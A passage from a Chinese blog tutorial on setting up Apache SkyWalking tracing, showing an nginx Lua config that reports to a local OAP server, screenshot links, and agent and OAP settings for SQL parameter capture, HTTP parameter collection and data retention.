&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;http&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;lua_package_path&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;/Path/to/.../skywalking-nginx-lua/lib/skywalking/?.lua&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;;&lt;span class="kn"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Buffer represents the register inform and the queue of the finished segment
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;lua_shared_dict&lt;/span&gt; &lt;span class="s"&gt;tracing_buffer&lt;/span&gt; &lt;span class="mi"&gt;100m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Init is the timer setter and keeper
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Setup an infinite loop timer to do register and trace report.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;init_worker_by_lua_block&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;local&lt;/span&gt; &lt;span class="s"&gt;metadata_buffer&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;ngx.shared.tracing_buffer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;Set&lt;/span&gt; &lt;span class="s"&gt;service&lt;/span&gt; &lt;span class="s"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;metadata_buffer:set(&amp;#39;serviceName&amp;#39;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;User&lt;/span&gt; &lt;span class="s"&gt;Service&lt;/span&gt; &lt;span class="s"&gt;Name&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;Instance&lt;/span&gt; &lt;span class="s"&gt;means&lt;/span&gt; &lt;span class="s"&gt;the&lt;/span&gt; &lt;span class="s"&gt;number&lt;/span&gt; &lt;span class="s"&gt;of&lt;/span&gt; &lt;span class="s"&gt;Nginx&lt;/span&gt; &lt;span class="s"&gt;deployment,&lt;/span&gt; &lt;span class="s"&gt;does&lt;/span&gt; &lt;span class="s"&gt;not&lt;/span&gt; &lt;span class="s"&gt;mean&lt;/span&gt; &lt;span class="s"&gt;the&lt;/span&gt; &lt;span class="s"&gt;worker&lt;/span&gt; &lt;span class="s"&gt;instances&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;metadata_buffer:set(&amp;#39;serviceInstanceName&amp;#39;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;User&lt;/span&gt; &lt;span class="s"&gt;Service&lt;/span&gt; &lt;span class="s"&gt;Instance&lt;/span&gt; &lt;span class="s"&gt;Name&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#这是你的skywalking server地址
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;require(&amp;#34;client&amp;#34;):startBackendTimer(&amp;#34;http://127.0.0.1:12800&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;location&lt;/span&gt; &lt;span class="s"&gt;/ingress&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;default_type&lt;/span&gt; &lt;span class="s"&gt;text/html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;rewrite_by_lua_block&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;------------------------------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;NOTICE,&lt;/span&gt; &lt;span class="s"&gt;this&lt;/span&gt; &lt;span class="s"&gt;should&lt;/span&gt; &lt;span class="s"&gt;be&lt;/span&gt; &lt;span class="s"&gt;changed&lt;/span&gt; &lt;span class="s"&gt;manually&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;This&lt;/span&gt; &lt;span class="s"&gt;variable&lt;/span&gt; &lt;span class="s"&gt;represents&lt;/span&gt; &lt;span class="s"&gt;the&lt;/span&gt; &lt;span class="s"&gt;upstream&lt;/span&gt; &lt;span class="s"&gt;logic&lt;/span&gt; &lt;span class="s"&gt;address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;Please&lt;/span&gt; &lt;span class="s"&gt;set&lt;/span&gt; &lt;span class="s"&gt;them&lt;/span&gt; &lt;span class="s"&gt;as&lt;/span&gt; &lt;span class="s"&gt;service&lt;/span&gt; &lt;span class="s"&gt;logic&lt;/span&gt; &lt;span class="s"&gt;name&lt;/span&gt; &lt;span class="s"&gt;or&lt;/span&gt; &lt;span class="s"&gt;DNS&lt;/span&gt; &lt;span class="s"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;Currently,&lt;/span&gt; &lt;span class="s"&gt;we&lt;/span&gt; &lt;span class="s"&gt;can&lt;/span&gt; &lt;span class="s"&gt;not&lt;/span&gt; &lt;span class="s"&gt;have&lt;/span&gt; &lt;span class="s"&gt;the&lt;/span&gt; &lt;span class="s"&gt;upstream&lt;/span&gt; &lt;span class="s"&gt;real&lt;/span&gt; &lt;span class="s"&gt;network&lt;/span&gt; &lt;span class="s"&gt;address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;------------------------------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;require(&amp;#34;tracer&amp;#34;):start(&amp;#34;upstream&lt;/span&gt; &lt;span class="s"&gt;service&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;If&lt;/span&gt; &lt;span class="s"&gt;you&lt;/span&gt; &lt;span class="s"&gt;want&lt;/span&gt; &lt;span class="s"&gt;correlation&lt;/span&gt; &lt;span class="s"&gt;custom&lt;/span&gt; &lt;span class="s"&gt;data&lt;/span&gt; &lt;span class="s"&gt;to&lt;/span&gt; &lt;span class="s"&gt;the&lt;/span&gt; &lt;span class="s"&gt;downstream&lt;/span&gt; &lt;span class="s"&gt;service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;--&lt;/span&gt; &lt;span class="s"&gt;require(&amp;#34;tracer&amp;#34;):start(&amp;#34;upstream&lt;/span&gt; &lt;span class="s"&gt;service&amp;#34;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kn"&gt;custom&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;custom_value&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 这是你的目标下游服务，比如java的微服务网关
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;proxy_pass&lt;/span&gt; &lt;span class="s"&gt;http://127.0.0.1:8080/backend&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;body_filter_by_lua_block&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;if&lt;/span&gt; &lt;span class="s"&gt;ngx.arg[2]&lt;/span&gt; &lt;span class="s"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;require(&amp;#34;tracer&amp;#34;):finish()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s"&gt;log_by_lua_block&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;require(&amp;#34;tracer&amp;#34;):prepareForReport()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;下面是几个监控到的nginx数据的截图&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/006-b2997720.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/007-6e313138.png"&gt;&lt;/p&gt;
&lt;p&gt;至此我们就完成了整个链路的监控。&lt;/p&gt;
&lt;h2 id="skywalking-的参数配置"&gt;&lt;a href="#skywalking-%e7%9a%84%e5%8f%82%e6%95%b0%e9%85%8d%e7%bd%ae" class="header-anchor"&gt;&lt;/a&gt;skywalking 的参数配置
&lt;/h2&gt;&lt;h3 id="一些中文文档"&gt;&lt;a href="#%e4%b8%80%e4%ba%9b%e4%b8%ad%e6%96%87%e6%96%87%e6%a1%a3" class="header-anchor"&gt;&lt;/a&gt;一些中文文档
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;agent的文档[3]&lt;/li&gt;
&lt;li&gt;ui的文档[4]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="通过修改agentconfigagenetconfig-文件得到的能力"&gt;&lt;a href="#%e9%80%9a%e8%bf%87%e4%bf%ae%e6%94%b9agentconfigagenetconfig-%e6%96%87%e4%bb%b6%e5%be%97%e5%88%b0%e7%9a%84%e8%83%bd%e5%8a%9b" class="header-anchor"&gt;&lt;/a&gt;通过修改agent/config/agenet.config 文件得到的能力
&lt;/h3&gt;&lt;p&gt;根据文档 &lt;code&gt;https://github.com/apache/skywalking/blob/v8.0.0/docs/en/setup/service-agent/java-agent/README.md&lt;/code&gt; 得知&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 可以获取 sql中的参数，默认是获取不到的。当然还要设置参数最大长度。但获取参数有可能引起性能问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;property key&lt;/th&gt;
 &lt;th&gt;Description&lt;/th&gt;
 &lt;th&gt;Default&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;plugin.mysql.trace_sql_parameters&lt;/td&gt;
 &lt;td&gt;If set to true, the parameters of the sql (typically java.sql.PreparedStatement) would be collected.&lt;/td&gt;
 &lt;td&gt;false&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;plugin.mysql.sql_parameters_max_length&lt;/td&gt;
 &lt;td&gt;If set to positive number, the db.sql.parameters would be truncated to this length, otherwise it would be completely saved, which may cause performance problem.&lt;/td&gt;
 &lt;td&gt;512&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;2 收集http参数&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;#收集SpringMVC plugin插件请求参，在tomcat上时这俩设置一个即可plugin.tomcat.collect_http_params or plugin.springmvc.collect_http_params
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; plugin.springmvc.collect_http_params=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; #请求参数收集的最大字符长度, 配置过大会影响性能.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; plugin.http.http_params_length_threshold=1024
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;3 skywalking-oap 的配置文件中关于数据存储时长的配置&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;core&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE:default}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Mixed: Receive agent data, Level 1 aggregate, Level 2 aggregate&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Receiver: Receive agent data, Level 1 aggregate&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Aggregator: Level 2 aggregate&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_ROLE:Mixed}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Mixed/Receiver/Aggregator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;restHost&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_REST_HOST:0.0.0.0}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;restPort&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_REST_PORT:12800}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;restContextPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_REST_CONTEXT_PATH:/}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gRPCHost&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_GRPC_HOST:0.0.0.0}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gRPCPort&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_GRPC_PORT:11800}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gRPCSslEnabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_GRPC_SSL_ENABLED:false}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gRPCSslKeyPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_GRPC_SSL_KEY_PATH:&amp;#34;&amp;#34;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gRPCSslCertChainPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_GRPC_SSL_CERT_CHAIN_PATH:&amp;#34;&amp;#34;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gRPCSslTrustedCAPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_GRPC_SSL_TRUSTED_CA_PATH:&amp;#34;&amp;#34;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;downsampling&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Hour&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Day&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Month&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Set a timeout on metrics data. After the timeout has expired, the metrics data will automatically be deleted.&lt;/span&gt;&lt;span class="w"&gt;
